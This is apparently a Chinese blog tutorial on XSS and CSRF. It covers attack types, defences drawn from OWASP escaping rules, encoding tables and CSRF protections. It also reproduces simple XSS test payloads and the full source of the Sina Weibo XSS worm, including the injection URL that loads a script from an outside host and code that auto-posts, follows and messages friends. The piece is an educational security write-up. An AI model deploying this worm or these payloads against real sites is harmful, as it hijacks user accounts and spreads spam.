WEB安全-XSS和CSRF漏洞

名詞和概念

XSS -- Cross SiteScripting, 跨站腳本攻擊,利用網(wǎng)頁漏洞,注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行植入的腳本

Payload -- 攻擊代碼

CSRF -- Cross—Site Request Forgery,跨站請求偽造,盜用用戶身份,發(fā)送惡意請求。

XSS原理和分類

反射型XSS

攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現(xiàn)在搜索頁面。DOM型XSS由于危害較小,我們將其歸為反射型XSS。

存儲型XSS

代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲型XSS內)。

舉例

Payload舉例

<pre><script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)</pre>

不難看出,這些payload都是通過構造字符串來中斷當前的dom結構,來創(chuàng)造js的執(zhí)行環(huán)境并達到注入惡意js的目的。

攻擊事件

MySpace,百度空間,人人網(wǎng),搜狐博客,新浪微博都曾遭遇XSS蠕蟲攻擊并造成實質性危害,一般是社交類應用中,XSS攻擊比較常見。事實上只要有用戶輸入和自定義的地方,只要不加防范,都有可能存在XSS漏洞。烏云某馬甲心傷的瘦子曾經(jīng)制作了一個xss攻擊的經(jīng)典教程,里面用到的所有案例都是騰訊各業(yè)務部門的真實漏洞。雖然烏云網(wǎng)目前已被和諧,不過通過百度仍然可以找到一些鏡像,來作學習之用。

新浪微博XSS蠕蟲

新浪微博突然出現(xiàn)大范圍“中毒”,大量用戶自動發(fā)送“建黨大業(yè)中穿幫的地方”、“個稅起征點有望提到4000”、“郭美美事件的一些未注意到的細節(jié)”、“3D肉團團高清普通話版種子”等帶鏈接的微博與私信,并自動關注一位名為hellosamy的用戶。事件的經(jīng)過如下:

  • 20:14,開始有大量帶V的認證用戶中招轉發(fā)蠕蟲
  • 20:30,2kt.cn中的病毒頁面無法訪問
  • 20:32,新浪微博中hellosamy用戶無法訪問
  • 21:02,新浪漏洞修補完畢
image
image

影響:32961(這位hellosamy在帳號被封前的好友數(shù)量)。

sammy是第一個xss蠕蟲的制作者,利用myspace的漏洞來實現(xiàn)控制其他賬號發(fā)帖和關注自己的id。這個應該是為了向sammy致敬。

步驟

1、利用了新浪微博廣場頁存在的XSS漏洞,先使自己的微博“中毒”,在瀏覽器中加載如下地址即可:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

2、使用有道提供的短域名服務(這些網(wǎng)址目前已經(jīng)“無害”);

例如,通過 http://163.fm/PxZHoxn ,將鏈接指向:

http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

3、當新浪登陸用戶不小心訪問到相關網(wǎng)頁時,由于處于登錄狀態(tài),會運行這個js腳本做幾件事情:

  1. 發(fā)微博(讓更多的人看到這些消息,自然也就有更多人受害);
  2. 加關注,加uid為2201270010的用戶關注——這應該就是大家提到的hellosamy了;
  3. 發(fā)私信,給好友發(fā)私信傳播這些鏈接

形成

未對用戶名做轉義處理!!

Echo '<a
那么當把用戶名字設置為xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的時候,得到了以下代碼:

<a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>

Payload

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3];
        id_arr += sum + '||';
    }
    return id_arr;
}
function random_msg(){
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    var msgs = [
        '郭美美事件的一些未注意到的細節(jié):',
        '建黨大業(yè)中穿幫的地方:',
        '讓女人心動的100句詩歌:',
        '3D肉團團高清普通話版種子:',
        '這是傳說中的神仙眷侶啊:',
        '驚爆!范冰冰艷照真流出了:',
        '楊冪被爆多次被潛規(guī)則:',
        '傻仔拿錘子去搶銀行:',
        '可以監(jiān)聽別人手機的軟件:',
        '個稅起征點有望提到4000:'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){
    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true);
}
function message(){
    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    ids = getappkey(url);
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

防御XSS

  • httponly -- 禁止js訪問cookie

  • Content Security Policy -- 禁止外部js(可屏蔽運營商廣告)

  • 使用自動轉義的模版

  • 啟用X-XSS-Protection頭部

  • 使用現(xiàn)代框架時避免危險的屬性:

    <colgroup><col><col></colgroup>

    框架名 危險方法/屬性
    Angular (2+) bypassSecurityTrust
    React dangerouslySetInnerHTML
    Svelte {@html ...}
    Vue (2+) v-html

OWASP的建議

規(guī)則0 - 只允許在規(guī)則1-規(guī)則5的指定位置插入不可信內容

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>

規(guī)則1 - 插入內容到HTML結構中的時候需要先轉義

<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>

<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     
/ --> &#x2F;

規(guī)則2 - 插入不可信內容到HTML的通用屬性時,需要做屬性值轉義

對于通用屬性wide, name, value等做屬性轉義,相對復雜的比如href, src, style不適用該規(guī)則。另外對于onmouseover這種,應當遵從規(guī)則3針對js值的定義。

具體規(guī)則:

  1. 除字母,數(shù)字,字符以外,對ASCII值小于256的所有字符使用js編碼,即&#xHH進行轉義,防止屬性值被關閉。不能直接用\轉義完事,因為可能會連續(xù)執(zhí)行多個\使得\失效。
  2. 使用屬性值的時候最好加上引號,加了引號以后,值的解釋只會被同類引號中斷,如果沒有加引號的話,中斷字符包括:空格 % * + , - / ; < = > ^ 和 |.

規(guī)則3 - 插入不可信的值到javascript環(huán)境下時,只能作為數(shù)據(jù)值輸入并進行js轉義。

以下環(huán)境需要進行js轉義:

<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>

<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>

<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>

而對于以下的環(huán)境,即便經(jīng)過了轉義也是危險的,因為很容易被分號,等號,空格,加號等符號中斷。

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

規(guī)則3.1 - HTML環(huán)境下,對json數(shù)據(jù)進行html轉義,讀取數(shù)據(jù)時使用JSON.parse.

比如,當我們使用以下的代碼時:

<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>; 
</script>

最好經(jīng)過json序列化和html實體編碼,因為構造的數(shù)據(jù)再這個時候一般會出錯。

<div id="init_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>

// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);

規(guī)則4 - 數(shù)據(jù)寫入css的style屬性的時候,需要做css轉義和嚴格的驗證

對于需要使用不可信數(shù)據(jù)作為css時,最好只用來作為屬性的值,并且復雜的屬性,比如url,behavior或者定制屬性如-moz-binding等的時候,最好不要使用不安全的數(shù)據(jù)。

需要轉義的情形包括:

<style>
selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>

<style>
selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>

<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>

否則,可能導致如下的攻擊:

{ background-url : "javascript:alert(1)"; }  // and all other URLs
{ text-size: "expression(alert('XSS'))"; }   // only in IE

對于屬性值的轉義,主要是把ASCII值小于256的非數(shù)字,字母的字符用\HH表示。另外如果屬性值沒有使用引號的話,則可能被空格 % * + , - / ; < = > ^ 和 |等符號中斷。

</style>標簽也可能被提前關閉,即使是被引號包裹,因為html在js之前解析。

規(guī)則5 - 對URL數(shù)值做URL編碼

除了字母和數(shù)字以外,其他字符都用%HH進行編碼;禁用data:協(xié)議,因為沒有好的方式去阻止屬性可能被中斷。

舉例:

String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255); 
if (isValidURL) {  
    <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}

規(guī)則6 -- Sanitize HTML Markup with a Library Designed for the Job

規(guī)則7 -- 避免使用javascript協(xié)議的url

CSRF

跨站請求偽造,不攻擊網(wǎng)站服務器,而是冒充用戶在站內的正常操作。通常由于服務端沒有對請求頭做嚴格過濾引起的。CSRF會造成密碼重置,用戶偽造等問題,可能引發(fā)嚴重后果。

image
  1. 用戶C打開瀏覽器,訪問受信任網(wǎng)站A,輸入用戶名和密碼請求登錄網(wǎng)站A; 2.在用戶信息通過驗證后,網(wǎng)站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網(wǎng)站A成功,可以正常發(fā)送請求到網(wǎng)站A;
  2. 用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開一個TAB頁訪問網(wǎng)站B;
  3. 網(wǎng)站B接收到用戶請求后,返回一些攻擊性代碼,并發(fā)出一個請求要求訪問第三方站點A;
  4. 瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請求。網(wǎng)站A并不知道該請求其實是由B發(fā)起的,所以會根據(jù)用戶C的Cookie信息以C的權限處理該請求,導致來自網(wǎng)站B的惡意代碼被執(zhí)行。

CSRF常用防御方案

  1. 同源檢測,如驗證referer
    • http請求可能不攜帶referer,使用https
    • 隱私模式下不攜帶referer
  2. csrftoken

FAQ

  • 有沒有徹底防御xss/csrf的方法?
  • 使用了Reactjs是否仍然需要防御XSS?
  • 使用實體編碼為什么不能解決問題?
  • 為什么是開發(fā)者而不是瀏覽器來處理安全問題?

附錄

XSS防御規(guī)則

<colgroup><col><col><col><col></colgroup>

數(shù)據(jù)類型 環(huán)境 代碼示例 防御方式
String Html Body <span>UNTRUSTED DATA </span> HTML實體編碼
String Safe HTML Attributes <input type="text" name="fname" value="UNTRUSTED DATA "> 適用規(guī)則2,屬性白名單的使用HTML實體編碼,對background, id, name等進行嚴格驗證
String src或者href屬性 clickme <iframe src="UNTRUSTED URL " /> 限制協(xié)議為http,https,進行URL編碼
String Css Value html
Selection 結構驗證,16進制編碼
String Javascript Variable <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> 加引號,16進制編碼
HTML HTML Body

UNTRUSTED HTML

| 序列化/反序列化 |
| String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一個話題 |

編碼規(guī)則

<colgroup><col><col></colgroup>

編碼類型 編碼機制
HTML Entity Encoding Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to /
HTML Attribute Encoding Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value)
URL Encoding Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.
JavaScript Encoding Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer).
CSS Hex Encoding CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

延伸閱讀

http://prompt.ml/0

Content-Security-Policy

OWASP關于XSS的防御建議

CSRF案例

CSRF漏洞原理和利用方法

美團CSRF

CSRF基本原理

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。